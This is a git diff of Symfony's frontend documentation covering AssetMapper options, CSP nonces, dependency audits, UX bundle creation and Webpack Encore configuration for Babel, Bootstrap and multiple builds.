to use a tool like :ref:`Encore <frontend-webpack-encore>`. +See the `UX React Documentation`_ for more details about using it with the AssetMapper +component. + +Vue files *can* be written in native JavaScript, and those *will* work with +the AssetMapper component. But you cannot write single-file components (i.e. ``.vue`` +files) with component, as those must be used in a build system. See the +`UX Vue.js Documentation`_ for more details about using with the AssetMapper +component. + +Can I Lint and Format My Code? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Not with AssetMapper, but you can install `kocal/biome-js-bundle`_ in your project +to lint and format your front-end assets. It's much faster than alternatives like +Prettier and requires no configuration to handle your JavaScript, TypeScript and CSS files. + +.. _asset-mapper-ts: + +Using TypeScript +---------------- + +To use TypeScript with the AssetMapper component, check out `sensiolabs/typescript-bundle`_. + +Third-Party Bundles & Custom Asset Paths +---------------------------------------- + +All bundles that have a ``Resources/public/`` or ``public/`` directory will +automatically have that directory added as an "asset path", using the namespace: +``bundles/<BundleName>``. For example, if you're using `BabdevPagerfantaBundle`_ +and you run the ``debug:asset-map`` command, you'll see an asset whose logical +path is ``bundles/babdevpagerfanta/css/pagerfanta.css``. + +This means you can render these assets in your templates using the +``asset()`` function: + +.. code-block:: html+twig + + <link rel="stylesheet" href="{{ asset('bundles/babdevpagerfanta/css/pagerfanta.css') }}"> + +Actually, this path - ``bundles/babdevpagerfanta/css/pagerfanta.css`` - already +works in applications *without* the AssetMapper component, because the ``assets:install`` +command copies the assets from bundles into ``public/bundles/``. However, when +the AssetMapper component is enabled, the ``pagerfanta.css`` file will automatically +be versioned! It will output something like: + +.. code-block:: html+twig + + <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c.css"> + +Overriding 3rd-Party Assets +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you want to override a 3rd-party asset, you can do that by creating a +file in your ``assets/`` directory with the same name. For example, if you +want to override the ``pagerfanta.css`` file, create a file at +``assets/bundles/babdevpagerfanta/css/pagerfanta.css``. This file will be +used instead of the original file. + +.. note:: + + If a bundle renders their *own* assets, but they use a non-default + :ref:`asset package <asset-packages>`, then the AssetMapper component will + not be used. This happens, for example, with `EasyAdminBundle`_. + +Importing Assets Outside of the ``assets/`` Directory +----------------------------------------------------- + +You *can* import assets that live outside of your asset path +(i.e. the ``assets/`` directory). For example: + +.. code-block:: css + + /* assets/styles/app.css */ + + /* you can reach above assets/ */ + @import url('../../vendor/babdev/pagerfanta-bundle/Resources/public/css/pagerfanta.css'); + +However, if you get an error like this: + + The "app" importmap entry contains the path "vendor/some/package/assets/foo.js" + but it does not appear to be in any of your asset paths. + +It means that you're pointing to a valid file, but that file isn't in any of +your asset paths. You can fix this by adding the path to your ``asset_mapper.yaml`` +file: + +.. code-block:: yaml + + # config/packages/asset_mapper.yaml + framework: + asset_mapper: + paths: + - assets/ + - vendor/some/package/assets + +Then try the command again. + +Configuration Options +--------------------- + +You can see every available configuration options and some info by running: + +.. code-block:: terminal + + $ php bin/console config:dump framework asset_mapper + +Some of the more important options are described below. + +``framework.asset_mapper.paths`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +This config holds all of the directories that will be scanned for assets. This +can be a simple list: + +.. code-block:: yaml + + framework: + asset_mapper: + paths: + - assets/ + - vendor/some/package/assets + +Or you can give each path a "namespace" that will be used in the asset map: + +.. code-block:: yaml + + framework: + asset_mapper: + paths: + assets/: '' + vendor/some/package/assets/: 'some-package' + +In this case, the "logical path" to all of the files in the ``vendor/some/package/assets/`` +directory will be prefixed with ``some-package`` - e.g. ``some-package/foo.js``. + +.. _excluded_patterns: + +``framework.asset_mapper.excluded_patterns`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +This is a list of glob patterns that will be excluded from the asset map: + +.. code-block:: yaml + + framework: + asset_mapper: + excluded_patterns: + - '*/*.scss' + +You can use the ``debug:asset-map`` command to double-check that the files +you expect are being included in the asset map. + +``framework.asset_mapper.exclude_dotfiles`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Whether to exclude any file starting with a ``.`` from the asset mapper. This +is useful if you want to avoid leaking sensitive files like ``.env`` or +``.gitignore`` in the files published by the asset mapper. + +.. code-block:: yaml + + framework: + asset_mapper: + exclude_dotfiles: true + +This option is enabled by default. + +.. _config-importmap-polyfill: + +``framework.asset_mapper.importmap_polyfill`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Configure the polyfill for older browsers. By default, the `ES module shim`_ is loaded +via a CDN (i.e. the default value for this setting is ``es-module-shims``): + +.. code-block:: yaml + + framework: + asset_mapper: + # set this option to false to disable the shim entirely + # (your website/web app won't work in old browsers) + importmap_polyfill: false + + # you can also use a custom polyfill by adding it to your importmap.php file + # and setting this option to the key of that file in the importmap.php file + # importmap_polyfill: 'custom_polyfill' + +.. tip:: + + You can tell the AssetMapper to load the `ES module shim`_ locally by + using the following command, without changing your configuration: + + .. code-block:: terminal + + $ php bin/console importmap:require es-module-shims + +``framework.asset_mapper.importmap_script_attributes`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +This is a list of attributes that will be added to the ``<script>`` tags +rendered by the ``{{ importmap() }}`` Twig function: + +.. code-block:: yaml + + framework: + asset_mapper: + importmap_script_attributes: + crossorigin: 'anonymous' + +Page-Specific CSS & JavaScript +------------------------------ + +Sometimes you may choose to include CSS or JavaScript files only on certain +pages. For JavaScript, an easy way is to load the file with a `dynamic import`_: + +.. code-block:: javascript + + const someCondition = '...'; + if (someCondition) { + import('./some-file.js'); + + // or use async/await + // const something = await import('./some-file.js'); + } + +Another option is to create a separate :ref:`entrypoint <app-entrypoint>`. For +example, create a ``checkout.js`` file that contains whatever JavaScript and +CSS you need: + +.. code-block:: javascript + + // assets/checkout.js + import './checkout.css'; + + // ... + +Next, add this to ``importmap.php`` and mark it as an entrypoint:: + + // importmap.php + return [ + // the 'app' entrypoint ... + + 'checkout' => [ + 'path' => './assets/checkout.js', + 'entrypoint' => true, + ], + ]; + +Finally, on the page that needs this JavaScript, call ``importmap()`` and pass +both ``app`` and ``checkout``: + +.. code-block:: twig + + {# templates/products/checkout.html.twig #} + {# + Override an "importmap" block from base.html.twig. + If you don't have that block, add it around the {{ importmap('app') }} call. + #} + {% block importmap %} + {# do NOT call parent() #} + + {{ importmap(['app', 'checkout']) }} + {% endblock %} + +The ``importmap()`` function always includes the full import map to ensure all +module definitions are available on the page. It also adds a ``<script type="module">`` +tag to load the specific JavaScript entry files you pass to it (in the example +above, the ``app.js`` file *and* the ``checkout.js`` file). + +.. warning:: + + Do not call ``parent()`` inside the ``{% block importmap %}`` Twig block. Each + page can include only one import map, so ``importmap()`` must be called exactly once. + +If you want to execute *only* ``checkout.js`` (and not ``app.js``), call +``{{ importmap('checkout') }}``. In this case, the full import map will still be +included in the page, but only the ``checkout.js`` file will actually be loaded. + +Using a Content Security Policy (CSP) +------------------------------------- + +If you're using a `Content Security Policy`_ (CSP) to prevent cross-site +scripting attacks, the inline ``<script>`` tags rendered by the ``importmap()`` +function will likely violate that policy and will not be executed by the browser. + +To allow these scripts to run without disabling the security provided by +the CSP, you can generate a secure random string for every request (called +a *nonce*) and include it in the CSP header and in a ``nonce`` attribute on +the ``<script>`` tags. +The ``importmap()`` function accepts an optional second argument that can be +used to pass attributes to the rendered ``<script>`` tags. +You can use the `NelmioSecurityBundle`_ to generate the nonce and include +it in the CSP header, and then pass the same nonce to the Twig function: + +.. code-block:: twig + + {# the csp_nonce() function is defined by the NelmioSecurityBundle #} + {{ importmap('app', {'nonce': csp_nonce('script')}) }} + +Content Security Policy and CSS Files +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If your importmap includes CSS files, AssetMapper uses a trick to load those by +adding ``data:application/javascript`` to the rendered importmap (see +:ref:`Handling CSS <asset-mapper-handling-css>`). + +This can cause browsers to report CSP violations and block the CSS files from +being loaded. To prevent this, you can add `strict-dynamic`_ to the ``script-src`` +directive of your Content Security Policy, to tell the browser that the importmap +is allowed to load other resources. + +.. note:: + + When using ``strict-dynamic``, the browser will ignore any other sources in + ``script-src`` such as ``'self'`` or ``'unsafe-inline'``, so any other + ``<script>`` tags will also need to be trusted via a nonce. + +The AssetMapper Component Caching System in dev +----------------------------------------------- + +When developing your app in debug mode, the AssetMapper component will calculate the +content of each asset file and cache it. Whenever that file changes, the component +will automatically re-calculate the content. + +The system also accounts for "dependencies": If ``app.css`` contains +``@import url('other.css')``, then the ``app.css`` file contents will also be +re-calculated whenever ``other.css`` changes. This is because the version hash of ``other.css`` +will change... which will cause the final content of ``app.css`` to change, since +it includes the final ``other.css`` filename inside. + +Mostly, this system just works. But if you have a file that is not being +re-calculated when you expect it to, you can run: + +.. code-block:: terminal + + $ php bin/console cache:clear + +This will force the AssetMapper component to re-calculate the content of all files. + +Run Security Audits on Your Dependencies +---------------------------------------- + +Similar to ``npm``, the AssetMapper component comes bundled with a +command that checks security vulnerabilities in the dependencies of your application: + +.. code-block:: terminal + + $ php bin/console importmap:audit + + -------- --------------------------------------------- --------- ------- ---------- ----------------------------------------------------- + Severity Title Package Version Patched in More info + -------- --------------------------------------------- --------- ------- ---------- ----------------------------------------------------- + Medium jQuery Cross Site Scripting vulnerability jquery 3.3.1 3.5.0 https://api.github.com/advisories/GHSA-257q-pV89-V3xv + High Prototype Pollution in JSON5 via Parse Method json5 1.0.0 1.0.2 https://api.github.com/advisories/GHSA-9c47-m6qq-7p4h + Medium semver vulnerable to RegExp Denial of Service semver 4.3.0 5.7.2 https://api.github.com/advisories/GHSA-c2qf-rxjj-qqgw + Critical Prototype Pollution in minimist minimist 1.1.3 1.2.6 https://api.github.com/advisories/GHSA-xvch-5gv4-984h + Medium ESLint dependencies are vulnerable minimist 1.1.3 1.2.2 https://api.github.com/advisories/GHSA-7fhm-mqm4-2wp7 + Medium Bootstrap Vulnerable to Cross-Site Scripting bootstrap 4.1.3 4.3.1 https://api.github.com/advisories/GHSA-9v3M-8fp8-mi99 + -------- --------------------------------------------- --------- ------- ---------- ----------------------------------------------------- + + 7 packages found: 7 audited / 0 skipped + 6 vulnerabilities found: 1 Critical / 1 High / 4 Medium + +The command will return the ``0`` exit code if no vulnerability is found, or +the ``1`` exit code otherwise. This means that you can seamlessly integrate this +command as part of your CI to be warned anytime a new vulnerability is found. + +.. tip:: + + The command takes a ``--format`` option to choose the output format between + ``txt`` and ``json``. + +.. _latest asset-mapper recipe: https://github.com/symfony/recipes/tree/main/symfony/asset-mapper +.. _import statement: https://caniuse.com/es6-module-dynamic-import +.. _ES6: https://caniuse.com/es6 +.. _npm package: https://www.npmjs.com +.. _importmap: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/importmap +.. _bootstrap: https://www.npmjs.com/package/bootstrap +.. _ES module shim: https://www.npmjs.com/package/es-module-shims +.. _highlight.js: https://www.npmjs.com/package/highlight.js +.. _class syntax: https://caniuse.com/es6-class +.. _UX React Documentation: https://symfony.com/bundles/ux-react/current/index.html +.. _UX Vue.js Documentation: https://symfony.com/bundles/ux-vue/current/index.html +.. _Lighthouse: https://developers.google.com/web/tools/lighthouse +.. _Tailwind: https://tailwindcss.com/ +.. _BabdevPagerfantaBundle: https://github.com/BabDev/PagerfantaBundle +.. _Cloudflare: https://www.cloudflare.com/ +.. _EasyAdminBundle: https://github.com/EasyCorp/EasyAdminBundle +.. _symfonycasts/tailwind-bundle: https://symfony.com/bundles/TailwindBundle/current/index.html +.. _symfonycasts/sass-bundle: https://symfony.com/bundles/SassBundle/current/index.html +.. _sensiolabs/typescript-bundle: https://github.com/sensiolabs/AssetMapperTypeScriptBundle +.. _`dist/css/bootstrap.min.css file`: https://www.jsdelivr.com/package/npm/bootstrap?tab=files&path=dist%2Fcss#tabRouteFiles +.. _`dynamic import`: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/import +.. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file +.. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP +.. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling +.. _strict-dynamic: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic +.. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle +.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle +.. _`Brotli`: https://en.wikipedia.org/wiki/Brotli +.. _`Zstandard`: https://en.wikipedia.org/wiki/Zstd +.. _`gzip`: https://en.wikipedia.org/wiki/Gzip +.. _`brotli PHP extension`: https://pecl.php.net/package/brotli +.. _`zstd PHP extension`: https://pecl.php.net/package/zstd +.. _`zlib PHP extension`: https://www.php.net/manual/en/book.zlib.php diff --git a/frontend/assetic/index.rst b/frontend/assetic/index.rst deleted file mode 100644 index 63955c9f8dd..00000000000 --- a/frontend/assetic/index.rst +++ /dev/null @@ -1,8 +0,0 @@ -Assetic -======= - -.. caution:: - - Using Assetic to manage web assets in Symfony applications is no longer - recommended. Instead, use :doc:`Webpack Encore </frontend>`, which bridges - Symfony applications with modern JavaScript-based tools to manage web assets. diff --git a/frontend/create_ux_bundle.rst b/frontend/create_ux_bundle.rst new file mode 100644 index 00000000000..8f44a16f62e --- /dev/null +++ b/frontend/create_ux_bundle.rst @@ -0,0 +1,207 @@ +Create a UX bundle +================== + +.. tip:: + + Before reading this, you may want to have a look at + :doc:`Best Practices for Reusable Bundles </bundles/best_practices>`. + +Here are a few tricks to make your bundle install as a UX bundle. + +composer.json file +------------------ + +Your ``composer.json`` file must have the ``symfony-ux`` keyword: + +.. code-block:: json + + { + "keywords": ["symfony-ux"] + } + +Assets location +--------------- + +Your assets must be located in one of the following directories, with a +``package.json`` file so Flex can handle it during install/update: + +* ``/assets`` (recommended) +* ``/Resources/assets`` +* ``/src/Resources/assets`` + +package.json file +----------------- + +Your ``package.json`` file must contain a ``symfony`` config with controllers defined, +and also add required packages to the ``peerDependencies`` and ``importmap`` (the list +of packages in ``importmap`` should be the same as the ones in ``peerDependencies``): + +.. code-block:: json + + { + "name": "@acme/feature", + "version": "1.0.0", + "symfony": { + "controllers": { + "slug": { + "main": "dist/controller.js", + "fetch": "eager", + "enabled": true, + "autoimport": { + "@acme/feature/dist/bootstrap4-theme.css": false, + "@acme/feature/dist/bootstrap5-theme.css": true + } + } + }, + "importmap": { + "@hotwired/stimulus": "^3.0.0", + "slugify": "^1.6.5" + } + }, + "peerDependencies": { + "@hotwired/stimulus": "^3.0.0", + "slugify": "^1.6.5" + } + } + +In this case, the file located at ``[assets directory]/dist/controller.js`` will be exposed. + +.. tip:: + + You can either write raw JS in this ``dist/controller.js`` file, or you can + e.g. write your controller with TypeScript and transpile it to JavaScript. + + Here is an example to do so: + + 1. Add the following to your ``package.json`` file: + + .. code-block:: json + + { + "scripts": { + "build": "babel src --extensions .ts -d dist" + }, + "devDependencies": { + "@babel/cli": "^7.20.7", + "@babel/core": "^7.20.12", + "@babel/plugin-proposal-class-properties": "^7.18.6", + "@babel/preset-env": "^7.20.2", + "@babel/preset-typescript": "^7.18.6", + "@hotwired/stimulus": "^3.2.1", + "typescript": "^4.9.5" + } + } + + 2. Add the following to your ``babel.config.js`` file (should be located next + to your ``package.json`` file): + + .. code-block:: javascript + + module.exports = { + presets: [ + ['@babel/preset-env', { + "loose": true, + "modules": false + }], + ['@babel/preset-typescript', { allowDeclareFields: true }] + ], + assumptions: { + superIsCallableConstructor: false, + }, + }; + + 3. Run ``npm install`` to install the new dependencies. + + 4. Write your Stimulus controller with TypeScript in ``src/controller.ts``. + + 5. Run ``npm run build`` to transpile your TypeScript controller into JavaScript. + +To use your controller in a template (e.g. one defined in your bundle) you can use it like this: + +.. code-block:: html+twig + + <div + {{ stimulus_controller('acme/feature/slug', { modal: 'my-value' }) }} + {# + will render: + data-controller="acme--feature--slug" + data-acme--feature--slug-modal-value="my-value" + #} + > + ... + </div> + +Don't forget to add ``symfony/stimulus-bundle:^2.9`` as a composer dependency to use +Twig ``stimulus_*`` functions. + +.. tip:: + + Controller Naming: In this example, the ``name`` of the PHP package is ``acme/feature`` and the name + of the controller in ``package.json`` is ``slug``. So, the full controller name for Stimulus will be + ``acme--feature--slug``, though with the ``stimulus_controller()`` function, you can use ``acme/feature/slug``. + +Each controller has a number of options in ``package.json`` file: + +``enabled``: + Whether the controller should be enabled by default. +``main``: + Path to the controller file. +``fetch``: + How controller & dependencies are included when the page loads. + Use ``eager`` (default) to make controller & dependencies included in the + JavaScript that's downloaded when the page is loaded. + Use ``lazy`` to make controller & dependencies isolated into a separate file + and only downloaded asynchronously if (and when) the data-controller HTML + appears on the page. +``autoimport``: + List of files to be imported with the controller. Useful e.g. when there are + several CSS styles depending on the frontend framework used (like Bootstrap 4 + or 5, Tailwind CSS...). The value must be an object with files as keys, and + a boolean as value for each file to set whether the file should be imported. + +Specifics for Asset Mapper +-------------------------- + +To make your bundle's assets work with AssetMapper, you must add the ``importmap`` +config like above in your ``package.json`` file, and prepend some configuration +to the container:: + + namespace Acme\FeatureBundle; + + use Symfony\Component\AssetMapper\AssetMapperInterface; + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; + + class AcmeFeatureBundle extends AbstractBundle + { + public function prependExtension(ContainerConfigurator $configurator, ContainerBuilder $container): void + { + if (!$this->isAssetMapperAvailable($container)) { + return; + } + + $container->prependExtensionConfig('framework', [ + 'asset_mapper' => [ + 'paths' => [ + __DIR__ . '/../assets/dist' => '@acme/feature-bundle', + ], + ], + ]); + } + + private function isAssetMapperAvailable(ContainerBuilder $container): bool + { + if (!interface_exists(AssetMapperInterface::class)) { + return false; + } + + // check that FrameworkBundle 6.3 or higher is installed + $bundlesMetadata = $container->getParameter('kernel.bundles_metadata'); + if (!isset($bundlesMetadata['FrameworkBundle'])) { + return false; + } + + return is_file($bundlesMetadata['FrameworkBundle']['path'] . '/Resources/config/asset_mapper.php'); + } + } diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst index 6361ba632c0..1a0dca3e393 100644 --- a/frontend/custom_version_strategy.rst +++ b/frontend/custom_version_strategy.rst @@ -1,6 +1,3 @@ -.. index:: - single: Asset; Custom Version Strategy - How to Use a Custom Version Strategy for Assets =============================================== @@ -52,41 +49,30 @@ version string:: class GulpBusterVersionStrategy implements VersionStrategyInterface { - /** - * @var string - */ - private $manifestPath; - - /** - * @var string - */ - private $format; + private string $format; /** * @var string[] */ - private $hashes; + private array $hashes; - /** - * @param string $manifestPath - * @param string|null $format - */ - public function __construct($manifestPath, $format = null) - { - $this->manifestPath = $manifestPath; + public function __construct( + private string $manifestPath, + ?string $format = null, + ) { $this->format = $format ?: '%s?%s'; } - public function getVersion($path) + public function getVersion(string $path): string { if (!is_array($this->hashes)) { $this->hashes = $this->loadManifest(); } - return isset($this->hashes[$path]) ? $this->hashes[$path] : ''; + return $this->hashes[$path] ?? ''; } - public function applyVersion($path) + public function applyVersion(string $path): string { $version = $this->getVersion($path); @@ -97,7 +83,7 @@ version string:: return sprintf($this->format, $path, $version); } - private function loadManifest() + private function loadManifest(): array { return json_decode(file_get_contents($this->manifestPath), true); } @@ -142,10 +128,9 @@ After creating the strategy PHP class, register it as a Symfony service. namespace Symfony\Component\DependencyInjection\Loader\Configurator; use App\Asset\VersionStrategy\GulpBusterVersionStrategy; - use Symfony\Component\DependencyInjection\Definition; - return function(ContainerConfigurator $configurator) { - $services = $configurator->services(); + return function(ContainerConfigurator $container): void { + $services = $container->services(); $services->set(GulpBusterVersionStrategy::class) ->args( @@ -156,7 +141,6 @@ After creating the strategy PHP class, register it as a Symfony service. ); }; - Finally, enable the new asset versioning for all the application assets or just for some :ref:`asset package <reference-framework-assets-packages>` thanks to the :ref:`version_strategy <reference-assets-version-strategy>` option: @@ -190,12 +174,13 @@ the :ref:`version_strategy <reference-assets-version-strategy>` option: // config/packages/framework.php use App\Asset\VersionStrategy\GulpBusterVersionStrategy; + use Symfony\Config\FrameworkConfig; - $container->loadFromExtension('framework', [ + return static function (FrameworkConfig $framework): void { // ... - 'assets' => [ - 'version_strategy' => GulpBusterVersionStrategy::class, - ], - ]); + $framework->assets() + ->versionStrategy(GulpBusterVersionStrategy::class) + ; + }; .. _`gulp-buster`: https://www.npmjs.com/package/gulp-buster diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst index 86bdb812b94..b7a02883e08 100644 --- a/frontend/encore/advanced-config.rst +++ b/frontend/encore/advanced-config.rst @@ -5,19 +5,19 @@ Summarized, Encore generates the Webpack configuration that's used in your ``webpack.config.js`` file. Encore doesn't support adding all of Webpack's `configuration options`_, because many can be added on your own. -For example, suppose you need to resolve automatically a new extension. +For example, suppose you need to automatically resolve a new extension. To do that, modify the config after fetching it from Encore: .. code-block:: javascript // webpack.config.js - var Encore = require('@symfony/webpack-encore'); + const Encore = require('@symfony/webpack-encore'); // ... all Encore config here // fetch the config, then modify it! - var config = Encore.getWebpackConfig(); + const config = Encore.getWebpackConfig(); // add an extension config.resolve.extensions.push('json'); @@ -105,7 +105,7 @@ prefer to build configs separately, pass the ``--config-name`` option: .. code-block:: terminal - $ yarn encore dev --config-name firstConfig + $ npm run dev -- --config-name firstConfig Next, define the output directories of each build: @@ -118,6 +118,19 @@ Next, define the output directories of each build: firstConfig: '%kernel.project_dir%/public/first_build' secondConfig: '%kernel.project_dir%/public/second_build' +Also define the asset manifests for each build: + +.. code-block:: yaml + + # config/packages/assets.yaml + framework: + assets: + packages: + first_build: + json_manifest_path: '%kernel.project_dir%/public/first_build/manifest.json' + second_build: + json_manifest_path: '%kernel.project_dir%/public/second_build/manifest.json' + Finally, use the third optional parameter of the ``encore_entry_*_tags()`` functions to specify which build to use: @@ -131,6 +144,88 @@ functions to specify which build to use: {{ encore_entry_script_tags('mobile', null, 'secondConfig') }} {{ encore_entry_link_tags('mobile', null, 'secondConfig') }} +Avoid Missing CSS When Rendering Multiple Templates +--------------------------------------------------- + +When you render two or more templates in the same request, such as two emails, +you should call the ``reset()`` method on the ``EntrypointLookupInterface`` interface. +To do this, inject the ``EntrypointLookupInterface`` interface:: + + public function __construct(EntrypointLookupInterface $entryPointLookup) {} + + public function send() { + $this->twig->render($emailOne); + $this->entryPointLookup->reset(); + $this->render($emailTwo); + } + +If you are using multiple Webpack configurations (e.g. one for the admin and one +for emails) you will need to inject the right ``EntrypointLookupInterface`` service. +Use the following command to find the right service: + +.. code-block:: terminal + + $ php bin/console console debug:container entrypoint_lookup + + # You will see a result similar to this: + Select one of the following services to display its information: + [0] webpack_encore.entrypoint_lookup_collection + [1] webpack_encore.entrypoint_lookup.cache_warmer + [2] webpack_encore.entrypoint_lookup[_default] + [3] webpack_encore.entrypoint_lookup[admin] + [4] webpack_encore.entrypoint_lookup[email] + +In this example, the configuration related to the ``email`` configuration is +the one called ``webpack_encore.entrypoint_lookup[email]``. + +To inject this service into your class, use the ``bind`` option: + +.. code-block:: yaml + + # config/services.yaml + services: + _defaults + bind: + Symfony\WebpackEncoreBundle\Asset\EntrypointLookupInterface $entryPointLookupEmail: '@webpack_encore.entrypoint_lookup[email]' + +Now you can inject your service into your class:: + + public function __construct(EntrypointLookupInterface $entryPointLookupEmail) {} + + public function send() { + $this->twig->render($emailOne); + $this->entryPointLookupEmail->reset(); + $this->render($emailTwo); + } + +Configuring the CSS Loader +-------------------------- + +Encore provides the ``configureCssLoader()`` method to customize how ``css-loader`` +processes your CSS assets. One common use case is to prevent Webpack from resolving +certain URLs. + +For instance, if your application serves user-uploaded assets from a specific +directory, you'll want Webpack to ignore these paths since they may not exist +during the build process: + +.. code-block:: javascript + + // Configuring the CSS Loader in Webpack Encore + // Prevent Webpack from resolving certain URLs in CSS files + Encore.configureCssLoader((options) => { + options.url = { + filter: (url) => { + // Ignore URLs beginning with /uploads/ + if (url.startsWith('/uploads/')) { + return false; + } + + return true; // Process other URLs as usual + }, + }; + }); + Generating a Webpack Configuration Object without using the Command-Line Interface ---------------------------------------------------------------------------------- @@ -208,17 +303,60 @@ The following code is equivalent: The following loaders are configurable with ``configureLoaderRule()``: - ``javascript`` (alias ``js``) - ``css`` - - ``images`` - - ``fonts`` + - ``images`` (but use ``configureImageRule()`` instead) + - ``fonts`` (but use ``configureFontRule()`` instead) - ``sass`` (alias ``scss``) - ``less`` - ``stylus`` + - ``svelte`` - ``vue`` - ``eslint`` - ``typescript`` (alias ``ts``) - ``handlebars`` +Configuring Aliases When Importing or Requiring Modules +------------------------------------------------------- + +The `Webpack resolve.alias option`_ allows to create aliases to simplify the +``import`` or ``require`` of certain modules (e.g. by aliasing commonly used ``src/`` +folders). In Webpack Encore you can use this option via the ``addAliases()`` method: + +.. code-block:: javascript + + Encore.addAliases({ + Utilities: path.resolve(__dirname, 'src/utilities/'), + Templates: path.resolve(__dirname, 'src/templates/') + }) + +With the above config, you could now import certain modules more concisely: + +.. code-block:: diff + + -import Utility from '../../utilities/utility'; + +import Utility from 'Utilities/utility'; + +Excluding Some Dependencies from Output Bundles +----------------------------------------------- + +The `Webpack externals option`_ allows to prevent bundling of certain imported +packages and instead retrieve those external dependencies at runtime. This feature +is mostly useful for JavaScript library developers, so you probably won't need it. + +In Webpack Encore you can use this option via the ``addExternals()`` method: + +.. code-block:: javascript + + // this won't include jQuery and React in the output bundles generated + // by Webpack Encore. You'll need to load those dependencies yourself + // (e.g with a `<script>` tag) to make the application or website work. + Encore.addExternals({ + jquery: 'jQuery', + react: 'react' + }) + .. _`configuration options`: https://webpack.js.org/configuration/ .. _`array of configurations`: https://webpack.js.org/configuration/configuration-types/#exporting-multiple-configurations .. _`Karma`: https://karma-runner.github.io .. _`Watching Options`: https://webpack.js.org/configuration/watch/#watchoptions +.. _`Webpack resolve.alias option`: https://webpack.js.org/configuration/resolve/#resolvealias +.. _`Webpack externals option`: https://webpack.js.org/configuration/externals/ diff --git a/frontend/encore/babel.rst b/frontend/encore/babel.rst index 083e45528fc..cc239b4b949 100644 --- a/frontend/encore/babel.rst +++ b/frontend/encore/babel.rst @@ -1,5 +1,5 @@ -Configuring Babel -================= +Configuring Babel with Encore +============================= `Babel`_ is automatically configured for all ``.js`` and ``.jsx`` files via the ``babel-loader`` with sensible defaults (e.g. with the ``@babel/preset-env`` and @@ -24,7 +24,7 @@ Need to extend the Babel configuration further? The easiest way is via babelConfig.plugins.push('styled-jsx/babel'); }, { // node_modules is not processed through Babel by default - // but you can whitelist specific modules to process + // but you can allow some specific modules to be processed includeNodeModules: ['foundation-sites'], // or completely control the exclude rule (note that you @@ -49,6 +49,23 @@ cache directory: # On Unix run this command. On Windows, clear this directory manually $ rm -rf node_modules/.cache/babel-loader/ +If you want to customize the ``preset-env`` configuration, use the ``configureBabelPresetEnv()`` +method to add any of the `@babel/preset-env configuration options`_: + +.. code-block:: javascript + + // webpack.config.js + // ... + + Encore + // ... + + .configureBabelPresetEnv((config) => { + config.useBuiltIns = 'usage'; + config.corejs = 3; + }) + ; + Creating a ``.babelrc`` File ---------------------------- @@ -63,3 +80,4 @@ As soon as a ``.babelrc`` file is present, it will take priority over the Babel configuration added by Encore. .. _`Babel`: https://babeljs.io/ +.. _`@babel/preset-env configuration options`: https://babeljs.io/docs/babel-preset-env diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst index f1e28cabc37..0101a20a042 100644 --- a/frontend/encore/bootstrap.rst +++ b/frontend/encore/bootstrap.rst @@ -1,13 +1,13 @@ -Using Bootstrap CSS & JS -======================== +Using Bootstrap CSS & JS with Webpack Encore +============================================ -Want to use Bootstrap (or something similar) in your project? No problem! -First, install it. To be able to customize things further, we'll install -``bootstrap``: +This article explains how to install and integrate the `Bootstrap CSS framework`_ +in your Symfony application using :doc:`Webpack Encore </frontend>`. +First, to be able to customize things further, we'll install ``bootstrap``: .. code-block:: terminal - $ yarn add bootstrap --dev + $ npm install bootstrap --save-dev Importing Bootstrap Styles -------------------------- @@ -37,11 +37,13 @@ file into ``global.scss``. You can even customize the Bootstrap variables first! Importing Bootstrap JavaScript ------------------------------ -Bootstrap JavaScript requires jQuery and Popper.js, so make sure you have this installed: +First, install the JavaScript dependencies required by the Bootstrap version +used in your application: .. code-block:: terminal - $ yarn add jquery popper.js --dev + # (jQuery is only required in versions prior to Bootstrap 5) + $ npm install jquery @popperjs/core --save-dev Now, require bootstrap from any of your JavaScript files: @@ -62,6 +64,25 @@ Now, require bootstrap from any of your JavaScript files: $('[data-toggle="popover"]').popover(); }); +Using Bootstrap with Turbo +-------------------------- + +If you are using bootstrap with Turbo Drive, to allow your JavaScript to load on each page change, +wrap the initialization in a ``turbo:load`` event listener: + +.. code-block:: javascript + + // app.js + + // this waits for Turbo Drive to load + document.addEventListener('turbo:load', function (e) { + // this enables bootstrap tooltips globally + let tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]')) + let tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) { + return new Tooltip(tooltipTriggerEl) + }); + }); + Using other Bootstrap / jQuery Plugins -------------------------------------- @@ -79,3 +100,5 @@ and CSS like normal: // require 2 CSS files needed require('bootstrap-star-rating/css/star-rating.css'); require('bootstrap-star-rating/themes/krajee-svg/theme.css'); + +.. _`Bootstrap CSS framework`: https://getbootstrap.com/ diff --git a/frontend/encore/cdn.rst b/frontend/encore/cdn.rst index a7a2884c13a..898923f11bd 100644 --- a/frontend/encore/cdn.rst +++ b/frontend/encore/cdn.rst @@ -1,20 